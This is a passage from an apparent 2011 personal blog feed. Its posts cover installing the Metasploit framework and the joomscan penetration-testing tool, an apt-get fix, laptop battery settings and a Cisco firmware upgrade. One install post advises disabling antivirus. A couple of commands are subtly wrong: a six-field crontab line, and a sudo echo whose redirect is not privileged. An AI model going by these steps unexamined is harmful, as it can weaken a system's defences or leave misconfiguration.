href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6354947277871140436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/6354947277871140436'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/metasploit-presentation-for-ctf.html' title='Metasploit presentation for CTF'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5743649391088539172</id><published>2011-09-02T00:34:00.000+10:00</published><updated>2011-09-02T00:38:49.270+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='msf3'/><category scheme='http://www.blogger.com/atom/ns#' term='rapid7'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='mac os x'/><category scheme='http://www.blogger.com/atom/ns#' term='port'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='wget'/><category scheme='http://www.blogger.com/atom/ns#' term='.bash_profile'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='msfconsole'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='sudo'/><category scheme='http://www.blogger.com/atom/ns#' term='xcode'/><title type='text'>Installing Metasploit 4.0.0 on Apple Mac OS X 10.6.8</title><content type='html'>The installation instructions are quite well documented on the Rapid7 documentation site&lt;span style="font-size: xx-small;"&gt;[1]&lt;/span&gt;; But in my usual style of duplicating data on the Internet, I have documented my efforts below. The key requirements of Xcode and macports was already addressed on this particular machine :)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note&lt;/b&gt;: It's important to ensure that any anti-virus (AV) software is temporarily disabled and appropriate scanning exceptions added, this is to prevent the AV from quarenteening the exploits and payloads that some with metasploit.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo bash&lt;/li&gt;&lt;li&gt;port selfupdate&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;port install ruby19 +nosuffix&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;echo $PATH &lt;i&gt;# Ensure that /opt/local/bin appears before /usr/bin, else edit ~/.bash_profile file and source it; ". ~/.bash_profile" or "source ~/.bash_profile"&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt; port install mysql5-server&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;gem install mysql&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;cd /opt &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;wget http://updates.metasploit.com/data/releases/framework-4.0.0.tar.bz2&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;bunzip2 framework-4.0.0.tar.bz2&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;tar xvf framework-4.0.0.tar&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;cd msf3&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;svn update&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: black;"&gt;ln -s /opt/msf3/msf* /opt/local/bin/&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;https://community.rapid7.com/docs/DOC-1037&lt;/li&gt;&lt;li&gt;http://www.metasploit.com/download/&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5743649391088539172?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5743649391088539172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/installing-metasploit-400-on-apple-mac.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5743649391088539172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5743649391088539172'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/installing-metasploit-400-on-apple-mac.html' title='Installing Metasploit 4.0.0 on Apple Mac OS X 10.6.8'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7110999559532614086</id><published>2011-08-27T01:48:00.000+10:00</published><updated>2011-08-27T01:48:43.154+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wikicfp'/><category scheme='http://www.blogger.com/atom/ns#' term='conference'/><category scheme='http://www.blogger.com/atom/ns#' term='journals'/><category scheme='http://www.blogger.com/atom/ns#' term='iphone app'/><category scheme='http://www.blogger.com/atom/ns#' term='call for papers'/><title type='text'>WikiCFP</title><content type='html'>WikiCFP is a useful wiki site that collates CFP.&lt;br /&gt;&lt;br /&gt;However am a bit disappointed that it does not automatically track to the following year for the same events, e.g. once a conference is over and the dates for the following year announced, it should link to the following years conference details, instead of manually searching for it.&lt;br /&gt;&lt;br /&gt;There is also an iPhone Application called WikiCFP that links to the site. Although functional, the application is not very intuitive, for the relatively high price of the application I was expecting more out of it, e.g. calendar integration, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7110999559532614086?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7110999559532614086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/08/wikicfp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7110999559532614086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7110999559532614086'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/08/wikicfp.html' title='WikiCFP'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4267209559470036632</id><published>2011-08-27T01:39:00.000+10:00</published><updated>2011-08-27T01:39:57.357+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='battery'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop mode'/><category scheme='http://www.blogger.com/atom/ns#' term='runtime'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook pro'/><category scheme='http://www.blogger.com/atom/ns#' term='pmset'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>Runtime on notebooks</title><content type='html'>Got an Apple MacBook Pro towards the start of the year. Issue was that closing the lid only puts the machine in stand by mode which still consumes power, so I wasn't getting as long a runtime as I would on my old HP nx6120 with a travel battery.&lt;br /&gt;&lt;br /&gt;A Google search led me to Todd Huss's&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[2]&lt;/span&gt; page below. This identified the pmset&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[1]&lt;/span&gt; command as being quite useful. I followed the instructions and now have the MacBook hibernating when I close the lid. Since then I have been asked by a number of colleagues about this, so thought I better document it here.&lt;br /&gt;&lt;br /&gt;I rebuilt the old HP nx6120 to run Ubuntu 10.04 LTS. Again noticed that I wasn't getting reasonable runtime, instead of the usual 8-10 hrs, I only got around 3-4hrs. A discussion with a colleague led me to Linux Laptop Tools. Again some "Googling" led to the Ubuntu power management&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[3]&lt;/span&gt; which seemed to increase the runtime.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Pmset"&gt;http://en.wikipedia.org/wiki/Pmset&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;&lt;a href="http://gabrito.com/post/hibernate-with-the-macbook-pro"&gt;http://gabrito.com/post/hibernate-with-the-macbook-pro&lt;/a&gt;&lt;/u&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://wiki.ubuntu.com/PowerManagement"&gt;https://wiki.ubuntu.com/PowerManagement&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4267209559470036632?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4267209559470036632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/08/runtime-on-notebooks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4267209559470036632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4267209559470036632'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/08/runtime-on-notebooks.html' title='Runtime on notebooks'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7317086292846450087</id><published>2011-08-26T22:33:00.001+10:00</published><updated>2011-08-26T22:36:11.606+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='scada'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='smart grid'/><category scheme='http://www.blogger.com/atom/ns#' term='securingSCADA.info'/><title type='text'>securingSCADA.info</title><content type='html'>The securingSCADA.info site was launched earlier this year, it now boasts the wiki, that is slowly being populated with resource information on penetration testing, security compliance, etc.&lt;br /&gt;&lt;br /&gt;It's targeted towards individuals and organisations from academia and industry working in relation to SCADA, smart grid and related security areas. Of course everyone is welcome to sign up and contribute as the site is driven to providing security through collaboration.&lt;br /&gt;&lt;br /&gt;The site is located at &lt;a href="http://www.securingscada.info/"&gt;http://www.securingscada.info&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7317086292846450087?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7317086292846450087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/08/securingscadainfo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7317086292846450087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7317086292846450087'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/08/securingscadainfo.html' title='securingSCADA.info'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7681837704890272722</id><published>2011-08-24T00:45:00.000+10:00</published><updated>2011-08-24T00:45:22.747+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joomla'/><category scheme='http://www.blogger.com/atom/ns#' term='joomscan'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='owasp'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing joomscan on Ubuntu 10.04 LTS</title><content type='html'>OWASP Joomla! Security Scanner that "detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla! web site." However it appears to have been neglected, but is promised to be updated soon.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;cd /opt&lt;/li&gt;&lt;li&gt;sudo apt-get install -y libtest-www-mechanize-perl&lt;/li&gt;&lt;li&gt;svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan&lt;/li&gt;&lt;li&gt;cd joomscan&lt;/li&gt;&lt;li&gt;chmod 755 trunk/joomscan.pl &lt;/li&gt;&lt;li&gt;trunk/joomscan.pl update&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7681837704890272722?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7681837704890272722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/08/installing-joomscan-on-ubuntu-1004-lts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7681837704890272722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7681837704890272722'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/08/installing-joomscan-on-ubuntu-1004-lts.html' title='Installing joomscan on Ubuntu 10.04 LTS'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5546827323628269318</id><published>2011-08-23T19:49:00.002+10:00</published><updated>2011-09-01T20:05:51.516+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='msf3'/><category scheme='http://www.blogger.com/atom/ns#' term='rapid7'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installing Metasploit 4.0.0 on Ubuntu 10.04 LTS</title><content type='html'>Installing metasploit is quite easy. I have documented the installation instructions that I used below, however its just as simple to follow the more comprehensive instructions from the Rapid7/Metasploit site&lt;span class="Apple-style-span" style="font-size: xx-small;"&gt;[1]&lt;/span&gt; (&lt;a href="https://community.rapid7.com/docs/DOC-1296"&gt;https://community.rapid7.com/docs/DOC-1296&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo apt-get install -y ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;wget http://updates.metasploit.com/data/releases/framework-4.0.0.tar.bz2&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo mkdir /opt/metasploit4&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo bunzip framework-4.0.0.tar.bz2&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo tar xvf framework-4.0.0.tar&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo mv msf3 /opt/metasploit4&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo chown -R root:root /opt/metasploit4/msf3&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo ln -s /opt/metasploit4/msf3/msf* /usr/local/bin&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;cd /opt/metasploit4/msf3&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo svn update&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo crontab -e -u root # Enter "1 * * * * * /usr/bin/svn update &amp;nbsp;/opt/metasploit4/msf3/ &amp;gt;&amp;gt; /var/log/msf3update.log 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo apt-get install -y mysql-server&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo apt-get install -y rubygems libmysqlclient-dev&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo apt-get install -y ruby-dev&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;sudo gem install mysql&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="https://community.rapid7.com/docs/DOC-1296"&gt;https://community.rapid7.com/docs/DOC-1296&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5546827323628269318?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5546827323628269318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/08/installing-metasploit-400-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5546827323628269318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5546827323628269318'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/08/installing-metasploit-400-on-ubuntu.html' title='Installing Metasploit 4.0.0 on Ubuntu 10.04 LTS'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-4985622794592684288</id><published>2011-07-09T14:46:00.000+10:00</published><updated>2011-07-09T14:46:08.238+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MMap'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='MergeList'/><category scheme='http://www.blogger.com/atom/ns#' term='munmap'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ubuntu apt-get error</title><content type='html'>When performing an "&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;apt-get update&lt;/span&gt;" I got the following error&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Reading package lists... Error!&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;E: Error occurred while processing &lt;b&gt;xxx&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;E: Problem with MergeList /var/lib/apt/lists/&lt;b&gt;xxx&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;W: Unable to munmap&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;E: The package lists or status file could not be parsed or opened.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Am unsure why this is happening, but suspect it has something to do with the cache size allocated for the repositories. A quick Google search revealed a debian bug&lt;span style="font-size: xx-small;"&gt;1&lt;/span&gt; that helped.&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;sudo echo 'APT::Cache-Limit "125829120";' &amp;gt; /etc/apt/apt.conf.d/30cache&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Seems to have fixed the problem, a quick &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sudo apt-get update&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sudo apt-get upgrade&lt;/span&gt; had me happily hacking away again.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;https://bugs.launchpad.net/debian/+source/apt/+bug/24626&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-4985622794592684288?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/4985622794592684288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/07/ubuntu-apt-get-error.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4985622794592684288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/4985622794592684288'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/07/ubuntu-apt-get-error.html' title='Ubuntu apt-get error'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8477050234938801764</id><published>2011-04-03T23:33:00.000+10:00</published><updated>2011-04-03T23:33:34.574+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='qut'/><category scheme='http://www.blogger.com/atom/ns#' term='such is life'/><category scheme='http://www.blogger.com/atom/ns#' term='ramblings'/><category scheme='http://www.blogger.com/atom/ns#' term='ned kelly'/><title type='text'>Ramblings...</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;span style="color: #1f497d; font-family: Calibri, sans-serif; font-size: 11pt;"&gt;I cannot speak for other students, but I find feedback and constructive criticism very useful to my education and overall performance. Unfortunately I am finding the latter increasingly absent from the current academic environment, esp. when it comes to submitting official forms to QUT.&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #1f497d; font-family: Calibri, sans-serif; font-size: 15px;"&gt;It seems like a black hole at times&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="color: #1f497d; font-family: Calibri, sans-serif; font-size: 11pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="color: #1f497d; font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 11pt;"&gt;Oh well, “Such is life”. I seem to be quoting this a lot recently. Perhaps as a&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: 15px;"&gt;subconscious&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: 11pt;"&gt;&amp;nbsp;resignation to my lot in life. Just realised I have the same initials as Ned Kelly, but unfortunately his proper name was Edward Kelly, so I guess not...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8477050234938801764?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8477050234938801764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/04/ramblings.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8477050234938801764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8477050234938801764'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/04/ramblings.html' title='Ramblings...'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3789437338026122043</id><published>2011-03-06T21:56:00.000+10:00</published><updated>2011-03-06T21:56:52.608+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reload'/><category scheme='http://www.blogger.com/atom/ns#' term='copy tftp'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='firmware'/><category scheme='http://www.blogger.com/atom/ns#' term='tftp'/><category scheme='http://www.blogger.com/atom/ns#' term='upgrade'/><category scheme='http://www.blogger.com/atom/ns#' term='show flash'/><category scheme='http://www.blogger.com/atom/ns#' term='show dsl'/><category scheme='http://www.blogger.com/atom/ns#' term='adsl'/><title type='text'>Cisco 857W Router - Upgrade ADSL Firmware</title><content type='html'>To upgrade the ADSL firmware you need to get the latest .bin firmware file from Cisco. You will need a CCO and a valid contract to download the file.&lt;br /&gt;&lt;br /&gt;One you have this, copy the file to flash using a TFTP server. Then rename the file to remove the version number, then make a backup of the&amp;nbsp;configuration&amp;nbsp;file just in case and reboot the router. The reboot should force the new firmware to be loaded. Once rebooted verify the version of the firmware&lt;br /&gt;&lt;br /&gt;Check the version of the firmware current running&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;show dsl interface ATM 0&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;i&gt;&lt;snip&gt;&lt;/snip&gt;&lt;/i&gt;&lt;br /&gt;Init FW: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; init_xxx-x.x.xxx.bin&lt;br /&gt;Operation FW: &amp;nbsp; &amp;nbsp;xxx-x.x.x.bin&lt;br /&gt;FW Source: 